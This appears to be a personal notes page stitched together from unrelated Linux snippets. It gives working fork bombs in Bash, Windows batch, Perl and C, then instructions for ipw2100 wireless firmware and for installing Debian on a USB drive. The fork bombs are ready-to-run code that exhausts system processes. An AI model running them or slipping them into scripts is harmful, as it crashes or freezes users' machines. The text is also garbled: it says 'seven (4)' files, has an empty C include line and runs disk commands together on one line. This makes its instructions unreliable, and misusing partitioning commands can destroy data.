Fork Bomb

A fork bomb works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the computer's operating system.

Canonical forkbombs include this one on Unix (using the Bash shell) :

ragner(){ ragner|ragner& };ragner

Or in Microsoft Windows using a batch file:

:s
start %0
goto s

Or using Perl:

(forking using the Perl interpreter):
perl -e "fork while fork" &

Or in C:

#include 

int main(void)
{
 while(1) {
   fork();
 }
 return 0;
}

Configuring Wireless 2100 Driver for Linux

# aptitude install ipw2100-modules-[kernel version]

* LOADING FIRMWARE VIA HOT-PLUG

Before you can load the driver, you need the firmware image.  You can find
instructions for obtaining the firmware by going to:

http://ipw2100.sf.net/firmware.php.

Once you have the firmware, unzip the archive.  You should find seven (4)
files within it:

    LICENSE    A copy of the firmware license
ipw2100-(version number).fw  Boot strap image
ipw2100-(version number)-i.fw  Used in IBSS mode
ipw2100-(version number)-p.fw  Used in monitor mode

You need to place all of these files into the hotplug firmware directory,
e.g. /usr/lib/hotplug/firmware/  or  /lib/firmware/.  Check the contents
of the /etc/hotplug/firmware.agent to determine the specific location for your
distribution.

Installing really the Debian Linux in the USB pen drive

Create USB partitions
# cfdisk /dev/sda# mkfs.ext3 /dev/sda1


Mount the sda1 partition where will be installed the basic dist.# mount -t ext3 /dev/sda1 /media/usb

Install the basic debian with debootstrap: # debootstrap etch /media/usb http://ftp.br.debian.org/debian

Copy your source.list :
# cp /etc/apt/sources.list /media/usb/etc/apt/

Install the grub in the /dev/sda:
# grub-install --recheck /dev/sda
...
(fd0) /dev/fd0
(hd0) /dev/hda
(hd1) /dev/sda

Copy your grub configurations:
# mkdir -p /media/usb/boot/grub
# cp /boot/grub/* /media/usb/boot/grub

Set up the grub boot:
# grub
grub> root (hd1,0) # define the first partition of the pen driver as root
grub> setup (hd1) # install the GRUB in the MBR
grub> quit

Change the roor dir to the USB:
# chroot /media/usb

All commands below are in the USB pen driver as root dir.
Update the list of the packages:
# aptitude update

Install the grub:
# aptitude install grub

Install the kernel image:
# aptitude install kernel-image
Create a symbolic link to the current kernel image?

You are attempting to install an initrd kernel image ...
This will not work unless you have configured your boot x loader to use initrd. ...
